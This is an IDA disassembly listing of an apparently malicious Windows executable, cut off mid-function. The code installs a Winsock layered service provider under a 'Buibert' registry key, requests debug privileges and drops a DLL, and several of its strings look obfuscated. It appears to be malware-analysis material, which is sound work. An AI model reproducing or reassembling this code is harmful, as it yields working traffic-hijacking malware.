; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : BD21209BFDEC0BF09533CEF4120E4C6A ; File Name : u:\work\bd21209bfdec0bf09533cef4120e4c6a_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00005000 ( 20480.) ; Section size in file : 00005000 ( 20480.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _0 segment para public 'CODE' use32 assume cs:_0 ;org 401000h assume es:nothing, ss:nothing, ds:_0, fs:nothing, gs:nothing dword_401000 dd 77DD5D20h, 77DF7311h, 77DDA595h, 77DD23D7h ; DATA XREF: sub_401FD0+11r ; sub_401FD0+2Br ... dword_401010 dd 77DD590Bh ; DATA XREF: sub_401630+8Er ; sub_4017D0+76r dword_401014 dd 77DD22EAh, 77DD189Ah, 0 ; DATA XREF: sub_4017D0+29r ; sub_402240-6EBr ... off_401020 dd offset sub_41E15D ; DATA XREF: sub_4014A0+14r off_401024 dd offset sub_41E33E ; DATA XREF: sub_4014A0+29r dword_401028 dd 77E77CCEh ; DATA XREF: sub_4014F0+FEr ; sub_401630+159r dword_40102C dd 77E79C90h ; DATA XREF: sub_401FD0+Ar dword_401030 dd 77E61BE6h ; DATA XREF: sub_4022F0+2A6r dword_401034 dd 77E6177Ah ; DATA XREF: _0:00402952r dword_401038 dd 77E74672h ; DATA XREF: sub_4014F0+D9r ; sub_401630+133r dword_40103C dd 77E6AD34h, 41DF18h ; DATA XREF: sub_402240-68Dr ; sub_402240-725r ... off_401044 dd offset sub_41E254 ; DATA XREF: sub_402240-72Cr ; sub_401D20+A8r ... dword_401048 dd 77E704FCh, 77E705B0h, 77E760B5h, 77E7105Fh, 77E6CA8Ah ; DATA XREF: sub_402240-74Fr ; sub_401D20+75r ... dd 77F5157Dh, 0 dword_401064 dd 73E3A217h, 73DD51E8h, 73DD9C2Bh, 73DE14F8h, 73DDB5A5h ; DATA XREF: sub_4026ECr sub_4026F2r ... dd 73DE0CCAh, 73DE06C6h, 73DE0245h, 73DD13B3h, 73DD48DEh dd 73E2EBC3h, 73DE747Fh, 73DD11D4h, 73DD2583h, 73DD1194h dd 73DD13D0h, 73DD9144h, 2 dup(73DD7129h), 73E2EB8Ch, 73DD1A47h dd 73E2E633h, 73DE6A75h, 73E2E66Bh, 73E2E62Dh, 73E2E671h dd 73E2E610h, 2 dup(73DD17E0h), 73DD7129h, 73DE3F13h, 73E2E639h dd 73DD223Ch, 73E487C6h, 73DDAFAFh, 73DD3876h, 73DE75A1h dd 73E2BDF8h, 73E77FD8h dword_401100 dd 73DDB4ACh ; DATA XREF: sub_402A44r dword_401104 dd 73DD1083h, 73DD7331h, 73DE0352h, 73DE068Fh, 73DD6C18h ; DATA XREF: sub_4026E0r sub_4026DAr ... dd 73DE6CDDh, 73E28E89h, 73DD3941h, 73E68253h, 73DD3EB0h dd 73DD198Eh, 73E2BDE5h, 73DEA37Eh, 73DD403Bh, 73DD191Ch dd 73DD38C4h, 73DD7129h, 73E3A49Dh, 0 dword_401150 dd 77C4A658h ; DATA XREF: sub_4029DAr dword_401154 dd 77C33EB0h ; DATA XREF: sub_4029D4r dword_401158 dd 77C33632h ; DATA XREF: _0:0040287Br dword_40115C dd 77C1EB68h ; DATA XREF: _0:00402890r dword_401160 dd 77C1EB4Ah ; DATA XREF: _0:0040289Er dword_401164 dd 77C5D388h ; DATA XREF: _0:004028ACr dword_401168 dd 77C48F60h ; DATA XREF: _0:004028CAr dword_40116C dd 77C379DBh ; DATA XREF: sub_4029B8r dword_401170 dd 77C1E909h ; DATA XREF: _0:00402903r dword_401174 dd 77C5C7A8h ; DATA XREF: _0:0040291Br dword_401178 dd 77C37ADCh ; DATA XREF: _0:00402986r dword_40117C dd 77C31269h ; DATA XREF: sub_4029B2r dword_401180 dd 77C37AEEh, 77C2EFFDh ; DATA XREF: _0:004029A6r ; sub_402A04+1Cr dword_401188 dd 77C43CB2h ; DATA XREF: sub_4014F0+C5r ; sub_401630+EEr dword_40118C dd 77C43C88h ; DATA XREF: sub_401630+FFr ; --------------------------------------------------------------------------- loc_401190: ; DATA XREF: sub_402810+Dr div byte ptr [eax] retn ; --------------------------------------------------------------------------- ja short near ptr byte_4011D5 ; DATA XREF: sub_4029ACr xor ebx, eax ja short loc_40119F ; DATA XREF: sub_401FA0+Ar mov edi, 0D8F677C3h ; DATA XREF: sub_401FA0+1Br retn ; --------------------------------------------------------------------------- loc_40119F: ; CODE XREF: _0:00401197j ; DATA XREF: sub_401F80+2r ja short near ptr byte_4011ED push 0FFFFFFC4h ja short near ptr dword_401104+21h ; DATA XREF: sub_401F80+9r push edx retn ; --------------------------------------------------------------------------- db 77h ; --------------------------------------------------------------------------- loc_4011A8: ; DATA XREF: sub_402800r fcomp dword ptr [edx] retn 4677h ; DATA XREF: sub_4017D0+A6r ; sub_4017D0+171r ; --------------------------------------------------------------------------- lodsb retn 6B77h ; DATA XREF: sub_4017D0+149r ; sub_4017D0+21Cr ; --------------------------------------------------------------------------- stosb retn 77h ; --------------------------------------------------------------------------- align 4 dword_4011B8 dd 77CDC9B5h ; DATA XREF: sub_401630+98r dword_4011BC dd 77CD8989h ; DATA XREF: sub_401630+67r dword_4011C0 dd 77CC7CB6h ; DATA XREF: sub_401630+51r align 8 dword_4011C8 dd 71AB6738h ; DATA XREF: sub_4029E6r dword_4011CC dd 71ABFE48h ; DATA XREF: sub_4029E0r dd 0 byte_4011D4 db 0 ; DATA XREF: _0:0040290Eo byte_4011D5 db 3 dup(0) ; CODE XREF: _0:00401193j dd offset loc_402A2D dd offset loc_402130 dd offset loc_402170 dd offset loc_402230 dword_4011E8 dd 0 ; DATA XREF: _0:00402909o byte_4011EC db 0 ; DATA XREF: _0:004028DBo byte_4011ED db 3 dup(0) ; CODE XREF: _0:loc_40119Fj dword_4011F0 dd 4 dup(0) ; DATA XREF: _0:004028D6o aWscwriteprovid db 'WSCWriteProviderOrder',0 ; DATA XREF: sub_4014A0+23o align 4 aSporder_dll db 'sporder.dll',0 ; DATA XREF: sub_4014A0:loc_4014AFo ; sub_4022F0+1B3o aSoftwareWinsoc db 'SOFTWARE\WinSock2\Buibert',0 ; DATA XREF: sub_4017D0+1Fo ; sub_4017D0+6Co align 10h off_401240 dd offset loc_41004C ; DATA XREF: sub_4014F0+12o aYered_provider: unicode 0, <YERED_PROVIDER>,0 align 4 off_401264 dd offset loc_41004C ; DATA XREF: sub_401630+9r dword_401268 dd 450059h ; DATA XREF: sub_401630+23r dword_40126C dd 450052h ; DATA XREF: sub_401630+Er dword_401270 dd 200044h ; DATA XREF: sub_401630+1Er word_401274 dw 0 ; DATA XREF: sub_401630+33r align 4 aInternetExplor db '\internet explorer',0 ; DATA XREF: sub_402240-655o align 4 aProgramfilesdi db 'ProgramFilesDir',0 ; DATA XREF: sub_402240-6C8o aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion',0 ; DATA XREF: sub_402240-6F9o align 4 asc_4012C8: ; DATA XREF: sub_402640+9o unicode 0, <\>,0 aR: ; DATA XREF: sub_401FA0+4o unicode 0, <r>,0 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_401FD0+24o align 4 aDll db 'DLL',0 ; DATA XREF: sub_4022F0+222o ; sub_4022F0+270o aRsvp32_2_dll db 'rsvp32_2.dll',0 ; DATA XREF: sub_4022F0+1E5o ; sub_4022F0:loc_40259Co align 4 aPersonnel db 'personnel ',0 ; DATA XREF: sub_4022F0+12Ao align 4 aGobmccpsmrmggc db ' gobmccpsmrmggcomcenldrg',0 ; DATA XREF: sub_4022F0+11Co align 10h aLaboratory db 'Laboratory ',0 ; DATA XREF: sub_4022F0+D4o aNrlqomhqibqjsq db ' nrlqomhqibqjsqderqpkghlrk',0 ; DATA XREF: sub_4022F0+C6o align 4 a1992 db '1992 ',0 ; DATA XREF: sub_4022F0+7Eo align 10h aHsebnfmsqijorf db ' hsebnfmsqijorfjooonckehpdp',0 ; DATA XREF: sub_4022F0+70o aEndedIn db 'ended in ',0 ; DATA XREF: sub_4022F0+2Ao align 4 aNjosphlbmombii db ' njosphlbmombiifgomrkdmdfgr',0 ; DATA XREF: sub_4022F0+1Ao align 10h dword_4013A0 dd 1 ; DATA XREF: _0:004028BDr align 8 off_4013A8 dd offset loc_4020A0 ; DATA XREF: sub_4020B0o dd offset dword_4013B0 dword_4013B0 dd 111h, 0 ; DATA XREF: _0:004013ACo dd 2 dup(0E146h), 0Ch, 402680h, 6 dup(0) off_4013E0 dd offset loc_4027B2 ; DATA XREF: sub_402140-76o dd offset loc_402100 dd offset nullsub_3 dd offset nullsub_4 dd offset nullsub_3 dd offset sub_4027AC dd offset sub_4027A6 dd offset sub_4027A0 dd offset sub_40279A dd offset sub_402794 dd offset sub_40278E dd offset sub_402788 dd offset sub_4020B0 dd offset sub_402782 dd offset sub_40277C dd offset sub_402776 dd offset sub_402770 dd offset sub_40276A dd offset sub_402764 dd offset sub_40275E dd offset sub_402758 dd offset sub_402752 dd offset sub_4022F0 dd offset sub_40274C dd offset sub_402746 dd offset sub_402740 dd offset sub_40273A dd offset sub_402734 dd offset sub_40272E dd offset sub_402728 dd offset sub_402722 dd offset sub_40271C dd offset sub_402716 dd offset sub_402710 dd offset sub_40270A dd offset sub_402704 dd offset sub_4026FE dd offset sub_4026F8 dd offset sub_4026F2 dd offset sub_4026EC dd offset sub_4026E6 align 8 dword_401488 dd 0FFFFFFFFh, 40298Ch, 4029A0h, 3 dup(0) ; DATA XREF: _0:00402853o ; =============== S U B R O U T I N E ======================================= sub_4014A0 proc near ; CODE XREF: sub_4017D0+Fp mov eax, dword_403000 test eax, eax jz short loc_4014AF mov eax, 1 retn ; --------------------------------------------------------------------------- loc_4014AF: ; CODE XREF: sub_4014A0+7j push offset aSporder_dll ; "sporder.dll" call off_401020 test eax, eax mov dword_403000, eax jz short loc_4014DE push offset aWscwriteprovid ; "WSCWriteProviderOrder" push eax call off_401024 xor ecx, ecx mov dword_402FE0, eax test eax, eax setnz cl mov eax, ecx retn ; --------------------------------------------------------------------------- loc_4014DE: ; CODE XREF: sub_4014A0+21j xor eax, eax retn sub_4014A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4014F0 proc near ; CODE XREF: sub_4017D0+83p var_280 = dword ptr -280h var_27C = dword ptr -27Ch var_278 = dword ptr -278h var_274 = dword ptr -274h var_270 = dword ptr -270h var_26C = dword ptr -26Ch var_268 = dword ptr -268h var_264 = dword ptr -264h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = dword ptr -258h var_238 = dword ptr -238h var_234 = dword ptr -234h var_230 = dword ptr -230h var_22C = dword ptr -22Ch var_228 = dword ptr -228h var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = byte ptr -20Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 280h push ebx push esi push edi mov edi, ecx mov eax, edi xor esi, esi push offset off_401240 mov [ebp+var_4], edi mov ecx, [eax] mov [ebp+var_280], esi mov [ebp+var_26C], ecx mov [ebp+var_27C], esi mov edx, [eax+4] mov [ebp+var_278], esi mov [ebp+var_268], edx mov [ebp+var_274], esi mov ecx, [eax+8] mov [ebp+var_270], 4 mov [ebp+var_264], ecx mov [ebp+var_25C], esi mov edx, [eax+0Ch] mov eax, 10h mov [ebp+var_230], eax mov [ebp+var_22C], eax lea eax, [ebp+var_20C] mov [ebp+var_260], edx push eax mov [ebp+var_258], esi mov [ebp+var_238], esi mov [ebp+var_234], 2 mov [ebp+var_228], 1 mov [ebp+var_224], 6 mov [ebp+var_220], esi mov [ebp+var_21C], esi mov [ebp+var_218], esi mov [ebp+var_214], esi mov [ebp+var_210], esi call dword_401188 ; wcscpy mov eax, [edi+10h] add esp, 8 cmp eax, esi mov [ebp+var_8], eax jz short loc_4015F9 push eax call dword_401038 ; lstrlen mov edi, eax inc edi lea eax, [edi+edi] add eax, 3 and al, 0FCh call sub_4027D0 mov ecx, [ebp+var_8] mov ebx, esp push edi push ebx push 0FFFFFFFFh push ecx push esi push esi mov [ebx], si call dword_401028 ; MultiByteToWideChar mov edi, [ebp+var_4] mov esi, ebx loc_4015F9: ; CODE XREF: sub_4014F0+D6j lea edx, [ebp+var_C] lea eax, [ebp+var_280] push edx push 1 push eax push esi push edi call sub_4029E0 ; WSCInstallProvider mov ecx, [ebp+arg_0] mov edx, [ebp+var_25C] lea esp, [ebp-28Ch] mov [ecx], edx pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 sub_4014F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401630 proc near ; CODE XREF: sub_4017D0+13Ap var_2A8 = dword ptr -2A8h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = dword ptr -28Ch var_288 = dword ptr -288h var_280 = dword ptr -280h var_27C = dword ptr -27Ch var_278 = dword ptr -278h var_234 = byte ptr -234h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 2A8h mov eax, off_401264 mov edx, dword_40126C push ebx mov ebx, [ebp+arg_0] mov [ebp+var_4], ecx mov [ebp+var_28], eax mov eax, dword_401270 mov ecx, dword_401268 mov [ebp+var_1C], eax mov eax, [ebx+28h] push esi mov [ebp+var_24], ecx mov cx, word_401274 xor esi, esi cmp eax, 1 push edi mov [ebp+var_20], edx mov [ebp+var_18], cx jnz loc_4017B5 lea edx, [ebp+var_14] push edx call dword_4011C0 test eax, eax jnz loc_4017B5 lea eax, [ebp+arg_0] lea ecx, [ebp+var_14] push eax push ecx call dword_4011BC test eax, eax jnz loc_4017B5 mov ecx, [ebp+arg_0] lea edx, [ebp+var_30] lea eax, [ebp+var_34] push edx mov edx, [ebp+arg_8] push eax push esi push 0F003Fh push esi push esi push esi push ecx push edx call dword_401010 ; RegCreateKeyExA lea eax, [ebp+arg_0] push eax call dword_4011B8 mov edx, [ebp+var_10] mov eax, [ebp+var_C] mov ecx, 9Dh mov esi, ebx lea edi, [ebp+var_2A8] rep movsd mov ecx, [ebp+var_14] mov edi, [ebp+var_2A8] mov [ebp+var_290], edx mov [ebp+var_28C], eax lea edx, [ebp+var_28] mov [ebp+var_294], ecx mov ecx, [ebp+var_8] lea eax, [ebp+var_234] and edi, 0FFFDFFFFh push edx push eax mov [ebp+var_2A8], edi mov [ebp+var_288], ecx call dword_401188 ; wcscpy lea ecx, [ebx+74h] lea edx, [ebp+var_234] push ecx push edx call dword_40118C ; wcscat mov edx, [ebp+var_4] mov ecx, [ebx+24h] mov eax, [ebp+arg_4] add esp, 10h mov ebx, [edx+10h] mov [ebp+var_280], 2 test ebx, ebx mov [ebp+var_27C], eax mov [ebp+var_278], ecx jnz short loc_401762 xor edi, edi jmp short loc_40178F ; --------------------------------------------------------------------------- loc_401762: ; CODE XREF: sub_401630+12Cj push ebx call dword_401038 ; lstrlen mov esi, eax inc esi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_4027D0 mov edi, esp push esi push edi push 0FFFFFFFFh push ebx push 0 push 0 mov word ptr [edi], 0 call dword_401028 ; MultiByteToWideChar loc_40178F: ; CODE XREF: sub_401630+130j lea eax, [ebp+var_2C] lea ecx, [ebp+var_2A8] push eax push 1 push ecx lea edx, [ebp+var_14] push edi push edx call sub_4029E0 ; WSCInstallProvider lea esp, [ebp-2B4h] pop edi pop esi pop ebx mov esp, ebp pop ebp retn 0Ch ; --------------------------------------------------------------------------- loc_4017B5: ; CODE XREF: sub_401630+47j ; sub_401630+59j ... lea esp, [ebp-2B4h] mov eax, esi pop edi pop esi pop ebx mov esp, ebp pop ebp retn 0Ch sub_401630 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4017D0 proc near ; CODE XREF: sub_4022F0+30Ap var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 18h push ebx push ebp push esi push edi xor edi, edi mov ebx, ecx mov [esp+28h+var_18], edi call sub_4014A0 lea eax, [esp+28h+var_C] push eax push 0F003Fh push edi push offset aSoftwareWinsoc ; "SOFTWARE\\WinSock2\\Buibert" push 80000002h call dword_401014 ; RegOpenKeyExA mov edx, [esp+28h+arg_0] mov eax, [esp+28h+arg_4] mov ecx, ebx mov [ecx], edx mov edx, [esp+28h+arg_8] mov [ecx+4], eax mov eax, [esp+28h+arg_C] mov [ecx+8], edx mov [ecx+0Ch], eax mov ecx, [esp+28h+arg_10] push ecx lea ecx, [ebx+10h] call sub_402686 lea edx, [esp+28h+var_4] lea eax, [esp+28h+var_C] push edx push eax push edi push 0F003Fh push edi push edi push edi push offset aSoftwareWinsoc ; "SOFTWARE\\WinSock2\\Buibert" push 80000002h call dword_401010 ; RegCreateKeyExA lea ecx, [esp+28h+var_14] push ecx mov ecx, ebx call sub_4014F0 test eax, eax jnz loc_4019FF lea edx, [esp+28h+var_10] lea eax, [esp+28h+var_18] push edx push eax push edi push edi call sub_4029E6 ; WSCEnumProtocols mov ecx, [esp+28h+var_18] push ecx call dword ptr locret_4011AA+2 mov esi, eax add esp, 4 cmp esi, edi mov [esp+28h+arg_10], esi jz loc_4019FF lea edx, [esp+28h+var_10] lea eax, [esp+28h+var_18] push edx push eax push esi push edi call sub_4029E6 ; WSCEnumProtocols cmp eax, 0FFFFFFFFh jz loc_4019FF cmp eax, edi mov [esp+28h+var_8], edi jle loc_4019FF lea edx, [esi+24h] mov [esp+28h+arg_0], eax loc_4018BA: ; CODE XREF: sub_4017D0+117j mov ecx, 4 mov edi, ebx lea esi, [edx-10h] xor ebp, ebp repe cmpsd jnz short loc_4018D8 mov ecx, [edx] mov [esp+28h+var_8], 1 mov [esp+28h+var_14], ecx loc_4018D8: ; CODE XREF: sub_4017D0+F8j mov ecx, [esp+28h+arg_0] add edx, 274h dec ecx mov [esp+28h+arg_0], ecx jnz short loc_4018BA mov ecx, [esp+28h+var_8] test ecx, ecx jz loc_4019FF mov ebp, [esp+28h+arg_10] mov edi, eax mov esi, ebp loc_4018FD: ; CODE XREF: sub_4017D0+146j mov edx, [esp+28h+var_C] mov eax, [esp+28h+var_14] push edx push eax push esi mov ecx, ebx call sub_401630 add esi, 274h dec edi jnz short loc_4018FD push ebp call dword ptr locret_4011AE+2 add esp, 4 lea ecx, [esp+28h+var_10] lea edx, [esp+28h+var_18] mov [esp+28h+var_18], 0 push ecx push edx push 0 push 0 call sub_4029E6 ; WSCEnumProtocols mov eax, [esp+28h+var_18] mov edi, dword ptr locret_4011AA+2 push eax call edi mov ebp, eax add esp, 4 test ebp, ebp mov [esp+28h+arg_10], ebp jz loc_4019FF lea ecx, [esp+28h+var_10] lea edx, [esp+28h+var_18] push ecx push edx push ebp push 0 call sub_4029E6 ; WSCEnumProtocols mov esi, eax cmp esi, 0FFFFFFFFh jz loc_4019FF lea eax, ds:0[esi*4] push eax call edi mov ebx, eax add esp, 4 test ebx, ebx jz short loc_4019FF xor edx, edx test esi, esi jle short loc_4019E4 mov ecx, ebx lea eax, [ebp+2Ch] mov edi, esi loc_401998: ; CODE XREF: sub_4017D0+1E9j cmp dword ptr [eax-4], 1 jle short loc_4019B3 mov ebp, [esp+28h+var_14] cmp [eax], ebp jnz short loc_4019AF mov ebp, [eax-8] inc edx mov [ecx], ebp add ecx, 4 loc_4019AF: ; CODE XREF: sub_4017D0+1D4j mov ebp, [esp+28h+arg_10] loc_4019B3: ; CODE XREF: sub_4017D0+1CCj add eax, 274h dec edi jnz short loc_401998 test esi, esi jle short loc_4019E4 lea ecx, [ebx+edx*4] lea eax, [ebp+2Ch] loc_4019C5: ; CODE XREF: sub_4017D0+212j cmp dword ptr [eax-4], 1 jle short loc_4019D3 mov edi, [esp+28h+var_14] cmp [eax], edi jz short loc_4019DC loc_4019D3: ; CODE XREF: sub_4017D0+1F9j mov edi, [eax-8] inc edx mov [ecx], edi add ecx, 4 loc_4019DC: ; CODE XREF: sub_4017D0+201j add eax, 274h dec esi jnz short loc_4019C5 loc_4019E4: ; CODE XREF: sub_4017D0+1BFj ; sub_4017D0+1EDj push edx push ebx call dword_402FE0 mov esi, dword ptr locret_4011AE+2 push ebp mov [esp+2Ch+var_10], eax call esi push ebx call esi add esp, 8 loc_4019FF: ; CODE XREF: sub_4017D0+8Aj ; sub_4017D0+B7j ... mov ecx, [esp+28h+var_C] push ecx call dword_401014+4 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 18h retn 14h sub_4017D0 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_402240 loc_401A20: ; CODE XREF: sub_402240+5j push 0FFFFFFFFh push offset loc_402AB7 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 114h push ebx push ebp push esi mov esi, ecx push edi mov [esp+130h+var_114], esi call sub_4026A4 lea ecx, [esi+4] mov [esp+0F8h+arg_30], 0 call sub_4026A4 lea ebx, [esi+8] mov byte ptr [esp+0F8h+arg_30], 1 mov ecx, ebx call sub_4026A4 lea ebp, [esi+0Ch] mov byte ptr [esp+0F8h+arg_30], 2 mov ecx, ebp call sub_4026A4 lea ecx, [esi+10h] mov byte ptr [esp+0F8h+arg_30], 3 call sub_4026A4 lea ecx, [esi+14h] mov byte ptr [esp+0F8h+arg_30], 4 call sub_4026A4 mov ecx, 40h xor eax, eax lea edi, [esp+0F8h+var_D7] mov [esp+0F8h+var_D8], 0 rep stosd stosw stosb lea eax, [esp+0F8h+var_D8] push 104h push eax mov byte ptr [esp+100h+arg_30], 5 mov [esp+100h+var_E0], 104h call dword_401048+4 lea ecx, [esp+0F8h+var_D8] mov [esp+eax+0F8h+var_D8], 0 push ecx mov ecx, esi call sub_402686 lea edx, [esp+0F8h+var_D8] push 104h push edx call dword_401048 ; GetSystemDirectoryA mov [esp+eax+0F8h+var_D8], 0 lea eax, [esp+0F8h+var_D8] push eax mov ecx, ebx call sub_402686 lea ecx, [esp+0F8h+var_D8] push 104h push ecx push 0 call off_401044 push eax call dword_40103C+4 lea edx, [esp+0F8h+var_D8] lea ecx, [esi+10h] push edx call sub_402686 xor edi, edi mov [esp+0F8h+var_E4], edi lea eax, [esp+0F8h+var_E8] mov byte ptr [esp+0F8h+arg_30], 6 push eax push 20019h push edi push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov [esp+10Ch+var_E8], edi call dword_401014 ; RegOpenKeyExA test eax, eax jnz short loc_401B67 mov edi, [esp+0F8h+var_E8] mov [esp+0F8h+var_E4], edi loc_401B67: ; CODE XREF: sub_402240-6E3j lea ecx, [esp+0F8h+var_E0] lea edx, [esp+0F8h+var_D8] push ecx lea eax, [esp+0FCh+var_E8] push edx push eax push 0 push offset aProgramfilesdi ; "ProgramFilesDir" push edi mov [esp+110h+var_E8], 0 call dword_401000+0Ch test edi, edi jz short loc_401B9D push edi call dword_401014+4 xor edi, edi mov [esp+110h+var_FC], edi loc_401B9D: ; CODE XREF: sub_402240-6B2j lea ecx, [esp+110h+var_F0] push ecx mov ecx, ebp call sub_402686 lea edx, [esp+114h+var_F4] push edx push 104h call dword_40103C ; GetTempPathA lea eax, [esp+11Ch+var_FC] lea ecx, [esi+14h] push eax call sub_402686 lea ecx, [esi+14h] call sub_40269E mov ecx, ebx call sub_40269E mov ecx, esi call sub_40269E mov ecx, ebp call sub_40269E lea ecx, [esi+10h] call sub_40269E push offset aInternetExplor ; "\\internet explorer" lea ecx, [esp+124h+var_110] push ebp push ecx call sub_402698 push eax lea ecx, [esi+4] mov byte ptr [esp+130h], 7 call sub_402692 lea ecx, [esp+130h+var_120] mov byte ptr [esp+130h+var_4], 6 call sub_40268C test edi, edi jz short loc_401C28 push edi call dword_401014+4 loc_401C28: ; CODE XREF: sub_402240-621j mov ecx, [esp+130h+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 120h retn ; END OF FUNCTION CHUNK FOR sub_402240 ; --------------------------------------------------------------------------- align 10h loc_401C50: ; CODE XREF: _0:00402AA7j push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_401C66 push eax call dword_401014+4 mov dword ptr [esi], 0 loc_401C66: ; CODE XREF: _0:00401C57j pop esi retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401C70 proc near ; CODE XREF: sub_402180+7p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_401C70 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_4026BC xor ebx, ebx lea ecx, [esi+14h] mov [esp+18h+var_4], ebx call sub_4026A4 lea ecx, [esi+18h] mov byte ptr [esp+18h+var_4], 1 call sub_4026A4 lea ecx, [esi+1Ch] mov byte ptr [esp+18h+var_4], 2 call sub_4026A4 lea ecx, [esi+20h] mov byte ptr [esp+18h+var_4], 3 call sub_4026A4 mov eax, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 4 cmp eax, ebx mov [esi+2Bh], bl mov [esi+2Ah], bl mov [esi+29h], bl mov [esi+28h], bl mov [esi+2Ch], ebx jz short loc_401D02 push ecx mov ecx, esp mov [esp+1Ch+arg_0], esp push offset dword_403008 call sub_4026B6 push 1 push 1 push 1 mov ecx, esi call sub_401D20 loc_401D02: ; CODE XREF: sub_401C70+72j mov ecx, [esp+18h+var_C] mov eax, esi pop esi mov large fs:0, ecx pop ebx add esp, 10h retn 4 sub_401C70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401D20 proc near ; CODE XREF: sub_401C70+8Dp ; sub_4022F0+19Fp var_17C = byte ptr -17Ch var_174 = byte ptr -174h var_173 = byte ptr -173h var_110 = byte ptr -110h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h push 0FFFFFFFFh push offset SEH_401D20 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 16Ch push ebx push ebp push esi push edi mov esi, ecx mov eax, [esp+188h+arg_8] xor ebx, ebx cmp eax, ebx mov [esp+188h+var_4], ebx jz short loc_401D5A call sub_401F80 loc_401D5A: ; CODE XREF: sub_401D20+33j mov ecx, 18h xor eax, eax lea edi, [esp+188h+var_173] mov [esp+188h+var_174], bl rep stosd stosw stosb lea eax, [esp+188h+var_174] push 64h push eax call dword_401048+4 lea ecx, [esp+188h+var_174] lea edi, [esi+14h] push ecx mov ecx, edi mov [esp+eax+18Ch+var_174], bl call sub_402686 lea edx, [esp+188h+var_174] push 64h push edx call dword_401048 ; GetSystemDirectoryA mov [esp+eax+188h+var_174], bl lea ebp, [esi+18h] lea eax, [esp+188h+var_174] mov ecx, ebp push eax call sub_402686 cmp [esp+188h+arg_4], ebx jz short loc_401DBD push ebx call sub_4026C2 loc_401DBD: ; CODE XREF: sub_401D20+95j lea ecx, [esp+188h+var_110] push 104h push ecx push ebx call off_401044 push eax call dword_40103C+4 cmp [esp+188h+arg_0], ebx jz short loc_401DE5 mov ecx, esi call sub_401FD0 loc_401DE5: ; CODE XREF: sub_401D20+BCj lea ebx, [esi+1Ch] lea edx, [esp+188h+var_110] push edx mov ecx, ebx call sub_402686 push ecx lea eax, [esp+190h+arg_8] mov ecx, esp mov dword ptr [esp+190h+var_17C], esp push eax call sub_4026AA mov ecx, esi call sub_402050 mov ecx, edi call sub_40269E mov ecx, ebp call sub_40269E mov ecx, ebx call sub_40269E lea ecx, [esp+188h+arg_C] mov [esp+188h+var_4], 0FFFFFFFFh call sub_40268C mov ecx, [esp+188h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 178h retn 10h sub_401D20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401E60 proc near ; CODE XREF: sub_4022F0+251p ; sub_4022F0+29Fp var_1C = dword ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_401E60 mov eax, large 